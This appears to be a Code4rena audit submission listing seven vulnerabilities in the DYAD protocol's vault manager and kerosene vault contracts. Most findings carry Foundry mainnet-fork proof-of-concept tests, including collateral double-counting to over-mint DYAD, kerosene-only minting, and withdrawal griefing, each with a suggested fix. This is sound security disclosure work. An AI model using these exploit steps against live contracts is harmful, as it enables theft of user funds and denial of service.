DYAD - TheSchnilch's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L78 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L80-L91 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L241-L286

Vulnerability details

Description

An attacker could deposit collateral into the ethVault and add this vault as a vault for his DNFT id (see 1st Github link). Now he could also add the same vault as a Kerosene Vault (see 2nd Github link). If the total value of all collateral is calculated with getTotalUsdValue, the collateral that actually only exists in one vault is counted twice because the vault appears twice in the DNFT position (see 3rd Github link)

Proof of Concept

Here is a POC that can be added to the file test/fork/v2.t.sol and started with this command forge test --mt testPOC2 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY>. Before the POC can be started, these imports must be added:

import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {DNft} from "../../src/core/DNft.sol";

  function testPOC2() public {
    //Setup
    address alice = address(1);

    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    deal(MAINNET_WETH, alice, 100 ether);
    deal(alice, 100 ether);

    //POC
    vm.startPrank(alice);
    uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints DNFT

    ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(id, address(contracts.ethVault), 1 ether); //alice deposits 1 weth
    contracts.vaultManager.add(id, address(contracts.ethVault)); //eth vault is added as a vault
    contracts.vaultManager.addKerosene(id, address(contracts.ethVault)); //eth vault is added a second time, this time into the kerosene vault mapping

    uint assetPrice = contracts.ethVault.assetPrice();
    uint collateral_in_usd = 1 ether * assetPrice / 1e8; //the actual value of the collateral is calculated here
    console.log("collateral_in_usd: ", collateral_in_usd);
    console.log("usd vaule calculated by protocol: ", contracts.vaultManager.getTotalUsdValue(id));
    assertEq(contracts.vaultManager.getTotalUsdValue(id) / 2, collateral_in_usd); //this shows that the value the protocol calculates is twice as high as it should be because the collateral is counted twice

    //Alice now mints DYAD for exactly as much DYAD as she has in real collateral value. 
    //The CR would actually be 1 and the dyad would not be minable, but since 
    //the collateral was counted twice, this position can exist like this
    contracts.vaultManager.mintDyad(id, collateral_in_usd, alice);

    assertEq(ERC20(MAINNET_DYAD).balanceOf(alice), collateral_in_usd); //this shows that alice received the DYAD
    vm.stopPrank();
  }

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

In the functions add and addKerosene there should be checks whether a vault already exists in one of the two mappings:

if (vaults[id].contains(vault) || vaultsKerosene[id].contains(vault)) revert VaultAlreadyAdded();

This check should be added in both functions.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L75

Vulnerability details

Description

With a Kerosene Vault, a user should only be able to use Kerosene as excess collateral. For this purpose, a Kerosene vault should actually be added as such using the addKerosene function. The add function is then used to add normal Vaults with collateral such as weth or wsteth, which serve to collateralize the loan and must be used as collateral for each DYAD minted. The problem is that the add function only validates the vault with the vaultLicenser, which also stores the Kerosene Vaults (see GitHub link). This means that a Kerosene Vault can also be added as a regular Vault, making it possible to create a loan where only Kerosene is used as collateral, instead of weth or wsteth.

Proof of Concept

Here is a POC that can be added to the file test/fork/v2.t.sol and started with this command forge test --mt testPOC6 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY> -vv. Before the POC can be started, these imports must be added:

import {DNft} from "../../src/core/DNft.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {Dyad} from "../../src/core/Dyad.sol";
import {Kerosine} from "../../src/staking/Kerosine.sol";

Another step needs to be taken before the POC can run successfully. MAINNET_DYAD and MAINNET_KEROSENE needs to be set to the address of dyadMock and kerosineMock in the src/params/Parameters.sol file, otherwise DYAD and Kerosene will be forked from the Mainnet where DYAD and Kerosene are already being minted, which messes up the calculation of the kerosene price. To do this, simply run the setup part of the POC, then copy the address of dyadMock and kerosineMock and paste it into MAINNET_DYAD and MAINNET_KEROSENE and then start the entire POC.

  function testPOC6() public {
    //Setup
    address alice = address(1);
    address bob = address(2);

    Dyad dyadMock = new Dyad(Licenser(MAINNET_VAULT_MANAGER_LICENSER));
    vm.prank(MAINNET_OWNER);
    Kerosine kerosineMock = new Kerosine();
    console.log("dyadMock address: ", address(dyadMock));
    console.log("kerosineMock address: ", address(kerosineMock));

    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    vm.prank(MAINNET_OWNER);
    ERC20(MAINNET_KEROSENE).transfer(bob, 10_000 ether);
    deal(MAINNET_WETH, alice, 100 * 10**18);
    deal(alice, 100 * 10**18);

    //POC
    //alice's position is only there because there has to be some TVL in the system so that the kerosene price is not zero
    vm.startPrank(alice);
    uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints a DNFT to enter the system

    ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 10 ether);
    contracts.vaultManager.deposit(id, address(contracts.ethVault), 10 ether); //alice deposits weth
    vm.stopPrank();

    vm.startPrank(bob);
    uint256 id_bob = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(bob); //bob mints a DNFT to enter the system

    ERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 10_000 ether);
    contracts.vaultManager.deposit(id_bob, address(contracts.unboundedKerosineVault), 10_000 ether); //bob deposits kerosene
    contracts.vaultManager.add(id_bob, address(contracts.unboundedKerosineVault)); //bob adds the kerosene vault as a normal vault

    console.log("Non Kerosene Collateral: ", contracts.vaultManager.getNonKeroseneValue(id_bob)); //This shows that the kerosene in bob's position counts as a non-kerosene collateral

    contracts.vaultManager.mintDyad(id_bob, 3000 ether, bob); //bob mints only with kerosene as collateral DYAD
    vm.stopPrank();
  }

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

It should use the keroseneManager instead of the vaultLicenser to validate, as here the vaults added are used to calculate the TVL, which are WETH and WSTETH, not the Kerosene vaults:

- 75:    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
+ 75:    if (!keroseneManager.isLicensed(vault))  revert VaultNotLicensed();

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L143-L143 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127-L127 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L125-L125

Vulnerability details

Description

To minimize the risk of flash loans, a check has been implemented to prevent a depositor from withdrawing in the same transaction. Upon depositing, a timestamp for the deposit is stored (see 2nd Github link). Withdrawal is only allowed if the timestamp is not the same as the one in the block where withdrawal occurs (see 1st Github link). The problem here is that anyone can easily update the timestamp since one doesn't need to be the owner of the DNFT for depositing (see 3rd Github link). So, an attacker could frontrun a user who wants to withdraw, make a deposit with an amount of 0, and update their timestamp, causing the user's withdrawal to be reverted. An attacker could repeat this quite often since he doesn't actually deposit anything. If a collaterl token does not allow zero value transfers, the attacker could simply deploy a vault himself and set it in the function so that the user's timestamp is updated but then the attacker's vault is simply called, so he can prevent a transfer from taking place at all, since the attacker would control this vault.

Proof of Concept

Here is a POC that can be added to the file test/fork/v2.t.sol and started with this command forge test --mt testPOC1 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY>. Before the POC can be started, these imports must be added:

import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {DNft} from "../../src/core/DNft.sol";

  function testPOC1() public {
    // Setup
    address alice = address(1);
    address bob = address(2);

    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    deal(MAINNET_WETH, alice, 100 * 10**18);
    deal(alice, 100 * 10**18);

    //POC
    vm.startPrank(alice);
    uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints a DNFT

    ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1 ether);
    contracts.vaultManager.deposit(id, address(contracts.ethVault), 1 ether); //alice deposits weth
    vm.stopPrank();

    vm.roll(block.number + 1); //A block is fast-forwarded so that alice can now withdraw again

    vm.prank(bob);
    contracts.vaultManager.deposit(id, address(contracts.ethVault), 0); //bob frontruns alice and makes a deposit in alice's DNFT position so that the timestamp is updated

    vm.prank(alice);
    vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
    contracts.vaultManager.withdraw(id, address(contracts.ethVault), 1 ether, address(alice)); //alice now wants to withdraw but it doesn't work because her timestamp was updated by bob
  }

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

In the deposit function, isValidDNft should not be used, but isDNftOwner should be used instead, so that no attacker can simply update the timestamp of anyone anymore.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L146-L149

Vulnerability details

Descritpion

The weth and wsteth vaults have oracles so that the asset price can be calculated. The Kerosene Vaults do not use oracles to get the Kerosene price but calculate it based on the TVL and the denominator:

      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
      uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;

So there is no oracle for the kerosene price the price is simply calculated. This means that there is also no variable in the Kerosene Vaults where an Oracle is stored. The issue is that in the withdraw function, no matter which asset you want to withdraw, _vault.oracle().decimals() is queried:

    uint value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals() //@audit oracle is used
                  / 10**_vault.asset().decimals();

When one attempts to withdraw kerosene, there's a revert because kerosene vaults don't have an oracle variable. The impact is simply that users have no opportunity to withdraw their deposited kerosene.

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

The problem could be solved by carrying out an if query to calculate the value as to whether the vault from which the withdraw is being drawn is licensed by KeroseneManager. If the vault is licensed there, it means that it is weth or wsteth and there is an oracle. If the vault is not licensed by keroseneManager then it is either the unbounded or bounded Kerosene Vault which does not have an oracle. You could simply use 1e8 for the oracle decimals because the price is returned from both vaults with this number of decimals:

    uint256 value;
    if (keroseneManager.isLicensed(vault)) {
      value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 10**_vault.oracle().decimals()
                  / 10**_vault.asset().decimals();
    } else {
      value = amount * _vault.assetPrice() 
                  * 1e18 
                  / 1e8
                  / 10**_vault.asset().decimals();
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L150

Vulnerability details

Description

    if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();

This check in the withdraw function ensures that there is enough non-kerosene value to back the minted dyad of a position. However, it is not taken into account that when Kerosene is withdrawn, it has no effect on the non-Kerosene value. The problem is that the value, which in this case would be the value of Kerosene, is subtracted from the non-Kerosene value. This can lead to a revert due to underflow, as Kerosene should be withdrawable even if no non-Kerosene token has been deposited into the position. This means that a user can only withdraw their Kerosene if they have more collateral value in non-Kerosene collateral than the Kerosene they want to withdraw. (It must be noted that the error in the code exists, but it has no impact at the moment because withdrawing Kerosene reverts before this check is reached due to another bug that has to do with the fact that Kerosene Vaults do not have an oracle. I thought it would still make sense to inform the developers about this bug.)

POC

1. User deposited $100 worth of kerosene into the unbounded kerosene vault.
2. If one were to call getNonKeroseneValue for this position now, it would be null since no non-kerosene collateral was deposited.
3. The user now wants to withdraw his $100 in kerosene. However, value would be 100$ and getNonKeroseneValue would be 0 and there would be a revert in the check.

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

This check should only be performed if non-kerosene collateral is withdrawn that is also used by the user as collateral in their position. This still ensures that the position is not below the CR because following this check, the collateral ratio is also verified

    if (vaults[id].contains(vault)) {
      if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L65-L65

Vulnerability details

Description

To calculate the price of kerosene, the excess collateral is divided by the kerosene denominator. The DYAD total supply is subtracted from the TVL to determine how much excess collateral there is. But the TVL is calculated only from the collateral of the V2 Vaults.(see GitHub link). Since DYAD was already minted in v1, the subtraction reverts due to an underflow. The current total supply of DYAD at the time of the report is approximately 632,000. So this function would not revert anymore only if the TVL of v2 is greater than the total supply, and even then the calculation would still be incorrect. This function is then used in the calculation of the collateral ratio (CR) when a kerosene vault is added to a user's position. This causes the CR calculation to revert, and thus also liquidate, redeemDyad, mintDyad, withdraw.

Proof of Concept

Here is a POC that can be added to the file test/fork/v2.t.sol and started with this command forge test --mt testPOC3 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY> -vv. Before the POC can be started, these imports must be added:

import {Dyad} from "../../src/core/Dyad.sol";

  function testPOC3() public {
    console.log("dyad total supply: ", Dyad(MAINNET_DYAD).totalSupply()); //the current total supply DYAD

    contracts.unboundedKerosineVault.assetPrice(); //reverts with an underflow because the total supply of DYAD is larger than the tvl in v2 because of v1
  }

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

1. There could be a contract that tracks how much DYAD has already been minted in v1 and increases each time new DYAD is minted in v1 and decreases each time DYAD is burned in v1.
2. If the TVL of v1 is also to be used to determine the price of kerosene, then the v1 vaults with collateral should also be added to the keroseneManager so that the collateral of these vaults is also counted as TVL.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L88

Vulnerability details

Description

In the VaultManager a user should be able to add kerosene vaults. However, this is not possible at the moment because the wrong licenser is used in the function addKerosene to validate the kerosene vaults (see Github link). The kersoeneManager is used as the licenser there. However, the keroseneManager only adds the vaults that are needed to calculate the TVL, the weth vault and the wsteth vault. Since there is no Kerosene Vault added there, none can be added to a position using the addKerosene function. Instead, the same licenser should be used as with the normal add function, since the KeroseneManager can only contain the vaults that are needed to calculate the TVL, but Kerosene Vaults are not included. This bug means that the system is severely limited because users cannot add Kerosene vaults, for which version 2 was actually made.

Proof of Concept

Here is a POC that can be added to the file test/fork/v2.t.sol and started with this command forge test --mt testPOC5 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY>. Before the POC can be started, these imports must be added:

import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {DNft} from "../../src/core/DNft.sol";
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";

  function testPOC5() public {
    //Setup
    address alice = address(1);

    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    vm.prank(MAINNET_OWNER);
    ERC20(MAINNET_KEROSENE).transfer(alice, 10_000 ether);
    deal(alice, 100 * 10**18);

    //POC
    vm.startPrank(alice);
    uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints a DNFT to enter the system

    ERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 10_000 ether);
    contracts.vaultManager.deposit(id, address(contracts.unboundedKerosineVault), 10_000 ether); //alice deposits kerosene in the unbounded kerosene vault

    vm.expectRevert(IVaultManager.VaultNotLicensed.selector);
    contracts.vaultManager.addKerosene(id, address(contracts.unboundedKerosineVault)); //alice now wants to add the unboundedKerosineVault to her position 
    //so that the kerosene is available, but that doesn't work because the wrong licenser is used
    vm.stopPrank();
  }

Tools Used

Foundry, VSCode

Recommended Mitigation Steps

It should be ensured that the Kerosene vault is NOT licensed in the KeroseneManager, as it would be weth or wsteth, which are not Kerosene vaults, and the vaultLicenser should also be used to ensure that the vault is licensed at all:

- 88:    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
+ 88:    if (keroseneManager.isLicensed(vault) || !vaultLicenser.isLicensed(vault))                 revert VaultNotLicensed();

Assessed type

Other